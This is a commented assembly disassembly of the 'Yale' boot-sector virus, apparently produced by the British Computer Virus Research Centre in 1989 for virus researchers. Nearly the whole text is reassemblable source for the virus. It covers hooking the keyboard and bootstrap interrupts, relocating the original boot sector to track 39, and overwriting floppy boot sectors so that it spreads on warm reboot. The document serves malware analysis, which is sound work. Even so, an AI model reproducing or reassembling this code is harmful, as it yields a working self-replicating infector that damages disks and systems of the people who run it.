page 65,132 title The 'Yale' Virus ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º British Computer Virus Research Centre º ; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º ; º Telephone: Domestic 0273-26105, International +44-273-26105 º ; º º ; º The 'Yale' Virus º ; º Disassembled by Joe Hirst, April 1989 º ; º º ; º Copyright (c) Joe Hirst 1989. º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The virus consists of a boot sector only on a floppy disk. ; The original boot sector is kept at track thirty-nine, head zero, ; sector eight. ; The disassembly has been tested by re-assembly using MASM 5.0 ; Note that this does not create an identical program, as the original ; appears to have been assembled with A86 ; MASM would not assemble the instruction at offset 003CH (7C3CH) ; This instruction is undefined on an 8088/8086, and illegal ; on a 80286/80386. ; The program requires an origin address of 7C00H for the first sector ; to load and run as a boot sector ; System variables are defined in either RAM or BOOT (or both) ; depending on the segment used by the program RAM SEGMENT AT 400H ; System RAM fields ORG 13H BW0413 DW ? ; Total RAM size ORG 17H BB0417 DB ? ; Key toggles ORG 72H BW0472 DW ? ; System reset word RAM ENDS BOOT SEGMENT AT 0 ; Interrupt addresses ORG 24H BW0024 DW ? ; Interrupt 9 offset BW0026 DW ? ; Interrupt 9 segment ORG 64H BW0064 DW ? ; Interrupt 19H offset BW0066 DW ? ; Interrupt 19H segment ; System RAM fields ORG 410H DW0410 DW ? ; System configuration ORG 413H DW0413 DW ? ; Total RAM size ; BIOS field ORG 0E502H DWE502 DW ? BOOT ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:NOTHING START: CLI XOR AX,AX ; \ Set SS to zero MOV SS,AX ; / MOV SP,7C00H ; Set stack before boot area STI ASSUME DS:RAM MOV BX,0040H ; \ Address RAM area MOV DS,BX ; / MOV AX,BW0413 ; Get size of RAM MUL BX ; Convert to paragraphs SUB AX,07E0H ; Subtract address after boot area MOV ES,AX ; Target segment ASSUME DS:CODE PUSH CS ; \ Set DS to CS POP DS ; / CMP DI,3456H ; Simulated system reset? JNE BP0010 ; Branch if not DEC GENNUM[7C00H] ; Decrement generation number BP0010: MOV SI,SP ; \ Address boot sector area MOV DI,SI ; / MOV CX,0200H ; 512 bytes to move CLD REPZ MOVSB ; Copy virus to high core MOV SI,CX ; Address offset zero MOV DI,7B80H ; Address interrupt save area MOV CX,0080H ; 128 bytes to move REPZ MOVSB ; Save first 32 interrupt pointers CALL BP0030 ; Install interrupt 9 routine PUSH ES ; \ Transfer to high core ; POP CS ; / DB 0FH ; This is the previous instruction PUSH DS ; \ Set ES to DS POP ES ; / MOV BX,SP ; Address boot sector area MOV DX,CX ; A-drive, head zero MOV CX,2708H ; Track 39, sector 8 MOV AX,0201H ; Read one sector INT 13H ; Disk I/O BP0020: JB BP0020 ; Loop on error JMP BP0190 ; Install interrupt 9 routine BP0030: DEC DW0413 ; Decrement RAM size MOV SI,OFFSET BW0024 ; Address INT 9 pointer MOV DI,OFFSET INT_09+7C00H ; Target far jump MOV CX,4 ; 4 bytes to copy CLI REPZ MOVSB ; Copy far address MOV BW0024,OFFSET BP0050+7C00H ; Install new offset MOV BW0026,ES ; Install new segment STI RET ; Ctrl-Alt-Del depressed - acknowledge keyboard signal BP0040: IN AL,61H ; Get port B MOV AH,AL ; Save current state OR AL,80H ; Turn top bit on OUT 61H,AL ; Set port B XCHG AL,AH ; Get original state OUT 61H,AL ; Reset port B JMP SHORT BP0110 ; Format table for track 39, head zero, 8 sectors (unused) DB 027H, 000H, 001H, 002H DB 027H, 000H, 002H, 002H DB 027H, 000H, 003H, 002H DB 027H, 000H, 004H, 002H DB 027H, 000H, 005H, 002H DB 027H, 000H, 006H, 002H DB 027H, 000H, 007H, 002H DB 027H, 000H, 008H, 002H ; Rubbish DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H DB 011H, 011H, 011H ; Interrupt 9 routine BP0050: PUSHF STI PUSH AX PUSH BX PUSH DS PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states IN AL,60H ; Get keyboard token MOV AH,AL ; Save keyboard token AND AX,887FH CMP AL,1DH ; Was key Ctrl? JNE BP0060 ; Branch if not MOV BL,AH ; Save Ctrl key state JMP SHORT BP0080 BP0060: CMP AL,38H ; Was key Alt? JNE BP0070 ; Branch if not MOV BH,AH ; Save Alt key state JMP SHORT BP0080 BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed? JNE BP0080 ; Branch if not CMP AL,17H ; Is key I? JE BP0100 ; Branch if yes CMP AL,53H ; Is key Del? JE BP0040 ; Branch if yes BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states BP0090: POP DS POP BX POP AX POPF DB 0EAH ; Far jump to original INT 9 INT_09 DW 0E987H, 0F000H ; Pass on Ctrl-Alt-I BP0100: JMP BP0240 ; Ctrl-Alt-I ; Ctrl-Alt-Del depressed - main processing BP0110: MOV DX,03D8H ; VDU mode control address MOV AX,0800H ; Delay eight cycles OUT DX,AL ; Disable display CALL BP0250 ; Delay MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states MOV AL,3 ; Mode three INT 10H ; VDU I/O MOV AH,2 ; Set cursor address function XOR DX,DX ; Row zero, column zero MOV BH,DH ; Page zero INT 10H ; VDU I/O MOV AH,1 ; Set cursor size function MOV CX,0607H ; Cursor lines 6 to 7 INT 10H ; VDU I/O MOV AX,0420H ; Delay 4 cycles CALL BP0250 ; Delay CLI OUT 20H,AL ; End of interrupt MOV ES,CX ; Address segment zero MOV DI,CX ; Address offset zero MOV SI,7B80H ; Address interrupt save area MOV CX,0080H ; 128 bytes to move CLD REPZ MOVSB ; Restore first 32 interrupt pointers MOV DS,CX ; Address zero MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset MOV BW0066,CS ; Install Int 19H segment ASSUME DS:RAM MOV AX,0040H ; \ Address RAM area MOV DS,AX ; / MOV BB0417,AH ; Set key toggles off INC BW0413 ; Restore RAM size PUSH DS ASSUME DS:BOOT MOV AX,0F000H ; \ Address BIOS MOV DS,AX ; / CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H? POP DS JE BP0120 ; Branch if yes INT 19H ; Disk bootstrap BP0120: DB 0EAH ; Far jump to BIOS routine DW 0E502H, 0F000H ; Interrupt 19H routine ASSUME DS:BOOT BP0130: XOR AX,AX ; \ Set DS to zero MOV DS,AX ; / MOV AX,DW0410 ; Get system configuration TEST AL,1 ; Is there a floppy disk JNZ BP0150 ; Branch if yes BP0140: PUSH CS ; \ Set ES to CS POP ES ; / CALL BP0030 ; Install interrupt 9 routine INT 18H ; Basica (IBM only) BP0150: MOV CX,4 ; Retry four times BP0160: PUSH CX ; Save retry count MOV AH,0 ; Reset disk sub-system INT 13H ; Disk I/O JB BP0170 ; Branch if error MOV AX,0201H ; Read one sector PUSH DS ; \ Set ES to DS POP ES ; / MOV BX,7C00H ; Boot sector buffer MOV CX,1 ; Track zero, sector one INT 13H ; Disk I/O BP0170: POP CX ; Retrieve retry count JNB BP0180 ; Branch if no error LOOP BP0160 ; Retry JMP BP0140 BP0180: CMP DI,3456H ; Simulated system reset? JNE BP0200 ; Branch if not BP0190: DB 0EAH ; Far jump to boot sector area DW 7C00H, 0 BP0200: MOV SI,7C00H ; Boot sector area MOV CX,OFFSET INT_09 ; Length to compare MOV DI,SI ; Virus offset PUSH CS ; \ Set ES to CS POP ES ; / CLD REPZ CMPSB ; Is boot sector infected? JE BP0220 ; Branch if yes INC ES:GENNUM[7C00H] ; Increment generation number MOV BX,7C7AH ; Address format table MOV DX,0 ; Head zero, drive zero MOV CH,27H ; Track 39 MOV AH,5 ; Format track JMP SHORT BP0210 ; This line was probably an INT 13H JB BP0230 ; Error branch for deleted INT 13H BP0210: MOV ES,DX ; \ Write from boot sector area MOV BX,7C00H ; / MOV CL,8 ; Sector eight MOV AX,0301H ; Write one sector INT 13H ; Disk I/O PUSH CS ; \ Set ES to CS POP ES ; / JB BP0230 ; Branch if error MOV CX,1 ; Track zero, sector one MOV AX,0301H ; Write one sector INT 13H ; Disk I/O JB BP0230 ; Branch if error BP0220: MOV DI,3456H ; Signal simulated system reset INT 19H ; Disk bootstrap BP0230: CALL BP0030 ; Install interrupt 9 routine DEC ES:GENNUM[7C00H] ; Decrement generation number JMP BP0190 ; Ctrl-Alt-I ASSUME DS:CODE BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states MOV AX,GENNUM[7C00H] ; Get generation number ASSUME DS:RAM MOV BX,0040H ; \ Address RAM area MOV DS,BX ; / MOV BW0472,AX ; Generation to system reset word JMP BP0090 ; Pass on to original interrupt ; Delay BP0250: SUB CX,CX ; Maximum count BP0260: LOOP BP0260 ; Delay loop SUB AH,1 ; Decrement count JNZ BP0260 ; Repeat loop RET DB 027H, 000H, 008H, 002H ; Last sector of format table GENNUM DW 016H ; Generation number KYSTAT DW 0 ; Ctrl & Alt key states DB 027H, 000H, 008H, 002H ; Last sector of format table CODE ENDS END START